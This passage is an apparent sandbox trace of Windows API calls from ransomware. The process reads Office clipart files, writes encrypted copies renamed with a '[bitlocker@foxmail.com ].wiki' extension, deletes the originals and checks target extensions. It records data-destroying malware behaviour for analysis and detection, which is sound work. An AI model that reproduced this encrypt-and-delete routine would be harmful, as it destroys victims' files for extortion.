Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0189.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0189.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0189.610] lstrlenW (lpString=".doc") returned 4 [0189.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.610] lstrlenW (lpString=".docx") returned 5 [0189.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.610] lstrlenW (lpString=".pdf") returned 4 [0189.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.610] lstrlenW (lpString=".xls") returned 4 [0189.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.610] lstrlenW (lpString=".xlsx") returned 5 [0189.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.610] lstrlenW (lpString=".ppt") returned 4 [0189.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0189.610] lstrlenW (lpString=".zip") returned 4 [0189.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.610] lstrlenW (lpString=".rar") returned 4 [0189.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.610] lstrlenW (lpString=".bz2") returned 4 [0189.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.610] lstrlenW (lpString=".7z") returned 3 [0189.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0189.610] lstrlenW (lpString=".dbf") returned 4 [0189.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0189.610] lstrlenW (lpString=".1cd") returned 4 [0189.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0189.610] lstrlenW (lpString=".jpg") returned 4 [0189.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0189.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0189.611] lstrlenW (lpString=".doc") returned 4 [0189.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.611] lstrlenW (lpString=".docx") returned 5 [0189.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.611] lstrlenW (lpString=".pdf") returned 4 [0189.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.611] lstrlenW (lpString=".xls") returned 4 [0189.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.611] lstrlenW (lpString=".xlsx") returned 5 [0189.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.611] lstrlenW (lpString=".ppt") returned 4 [0189.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0189.611] lstrlenW (lpString=".zip") returned 4 [0189.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.611] lstrlenW (lpString=".rar") returned 4 [0189.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.611] lstrlenW (lpString=".bz2") returned 4 [0189.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.611] lstrlenW (lpString=".7z") returned 3 [0189.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0189.611] lstrlenW (lpString=".dbf") returned 4 [0189.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0189.611] lstrlenW (lpString=".1cd") returned 4 [0189.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0189.611] lstrlenW (lpString=".jpg") returned 4 [0189.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.612] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.612] lstrlenW (lpString="HH00546_.WMF") returned 12 [0189.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.612] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3718) returned 1 [0189.612] CloseHandle (hObject=0x1f4) returned 1 [0189.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x20 [0189.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.613] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.613] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.614] GetLastError () returned 0x0 [0189.614] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0xe86, lpOverlapped=0x0) returned 1 [0189.638] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe90, lpOverlapped=0x0) returned 1 [0189.639] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.639] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.639] SetEndOfFile (hFile=0x1e4) returned 1 [0189.640] CloseHandle (hObject=0x1e4) returned 1 [0189.640] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.640] SetEndOfFile (hFile=0x1f4) returned 1 [0189.640] CloseHandle (hObject=0x1f4) returned 1 [0189.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0189.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0189.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0189.641] lstrlenW (lpString=".doc") returned 4 [0189.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.641] lstrlenW (lpString=".docx") returned 5 [0189.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.641] lstrlenW (lpString=".pdf") returned 4 [0189.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.641] lstrlenW (lpString=".xls") returned 4 [0189.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.641] lstrlenW (lpString=".xlsx") returned 5 [0189.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.641] lstrlenW (lpString=".ppt") returned 4 [0189.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0189.641] lstrlenW (lpString=".zip") returned 4 [0189.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.641] lstrlenW (lpString=".rar") returned 4 [0189.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.642] lstrlenW (lpString=".bz2") returned 4 [0189.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.642] lstrlenW (lpString=".7z") returned 3 [0189.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0189.642] lstrlenW (lpString=".dbf") returned 4 [0189.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0189.642] lstrlenW (lpString=".1cd") returned 4 [0189.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0189.642] lstrlenW (lpString=".jpg") returned 4 [0189.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0189.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0189.642] lstrlenW (lpString=".doc") returned 4 [0189.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.642] lstrlenW (lpString=".docx") returned 5 [0189.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.642] lstrlenW (lpString=".pdf") returned 4 [0189.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.642] lstrlenW (lpString=".xls") returned 4 [0189.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.642] lstrlenW (lpString=".xlsx") returned 5 [0189.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.642] lstrlenW (lpString=".ppt") returned 4 [0189.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0189.642] lstrlenW (lpString=".zip") returned 4 [0189.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.642] lstrlenW (lpString=".rar") returned 4 [0189.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.643] lstrlenW (lpString=".bz2") returned 4 [0189.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.643] lstrlenW (lpString=".7z") returned 3 [0189.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0189.643] lstrlenW (lpString=".dbf") returned 4 [0189.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0189.643] lstrlenW (lpString=".1cd") returned 4 [0189.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0189.643] lstrlenW (lpString=".jpg") returned 4 [0189.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.643] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.643] lstrlenW (lpString="HH00623_.WMF") returned 12 [0189.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.644] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=10644) returned 1 [0189.644] CloseHandle (hObject=0x1f4) returned 1 [0189.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x20 [0189.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.644] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.644] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.644] GetLastError () returned 0x0 [0189.645] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x2994, lpOverlapped=0x0) returned 1 [0189.668] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x29a0, lpOverlapped=0x0) returned 1 [0189.669] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.669] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.669] SetEndOfFile (hFile=0x1e4) returned 1 [0189.669] CloseHandle (hObject=0x1e4) returned 1 [0189.670] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.670] SetEndOfFile (hFile=0x1f4) returned 1 [0189.670] CloseHandle (hObject=0x1f4) returned 1 [0189.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0189.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0189.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0189.671] lstrlenW (lpString=".doc") returned 4 [0189.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.671] lstrlenW (lpString=".docx") returned 5 [0189.671] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.671] lstrlenW (lpString=".pdf") returned 4 [0189.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.671] lstrlenW (lpString=".xls") returned 4 [0189.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.671] lstrlenW (lpString=".xlsx") returned 5 [0189.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.671] lstrlenW (lpString=".ppt") returned 4 [0189.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0189.671] lstrlenW (lpString=".zip") returned 4 [0189.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.671] lstrlenW (lpString=".rar") returned 4 [0189.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.671] lstrlenW (lpString=".bz2") returned 4 [0189.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.671] lstrlenW (lpString=".7z") returned 3 [0189.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0189.671] lstrlenW (lpString=".dbf") returned 4 [0189.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0189.672] lstrlenW (lpString=".1cd") returned 4 [0189.672] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0189.672] lstrlenW (lpString=".jpg") returned 4 [0189.672] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0189.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0189.672] lstrlenW (lpString=".doc") returned 4 [0189.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.672] lstrlenW (lpString=".docx") returned 5 [0189.672] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.672] lstrlenW (lpString=".pdf") returned 4 [0189.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.672] lstrlenW (lpString=".xls") returned 4 [0189.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.672] lstrlenW (lpString=".xlsx") returned 5 [0189.672] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.672] lstrlenW (lpString=".ppt") returned 4 [0189.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0189.672] lstrlenW (lpString=".zip") returned 4 [0189.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.672] lstrlenW (lpString=".rar") returned 4 [0189.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.672] lstrlenW (lpString=".bz2") returned 4 [0189.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.672] lstrlenW (lpString=".7z") returned 3 [0189.672] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0189.672] lstrlenW (lpString=".dbf") returned 4 [0189.672] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0189.673] lstrlenW (lpString=".1cd") returned 4 [0189.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0189.673] lstrlenW (lpString=".jpg") returned 4 [0189.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.673] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.673] lstrlenW (lpString="HH00681_.WMF") returned 12 [0189.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.673] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=9300) returned 1 [0189.673] CloseHandle (hObject=0x1f4) returned 1 [0189.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x20 [0189.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.674] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.674] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.674] GetLastError () returned 0x0 [0189.674] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x2454, lpOverlapped=0x0) returned 1 [0189.701] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2460, lpOverlapped=0x0) returned 1 [0189.702] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.702] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.703] SetEndOfFile (hFile=0x1e4) returned 1 [0189.703] CloseHandle (hObject=0x1e4) returned 1 [0189.703] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.703] SetEndOfFile (hFile=0x1f4) returned 1 [0189.704] CloseHandle (hObject=0x1f4) returned 1 [0189.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0189.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0189.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0189.704] lstrlenW (lpString=".doc") returned 4 [0189.704] lstrcmpiW 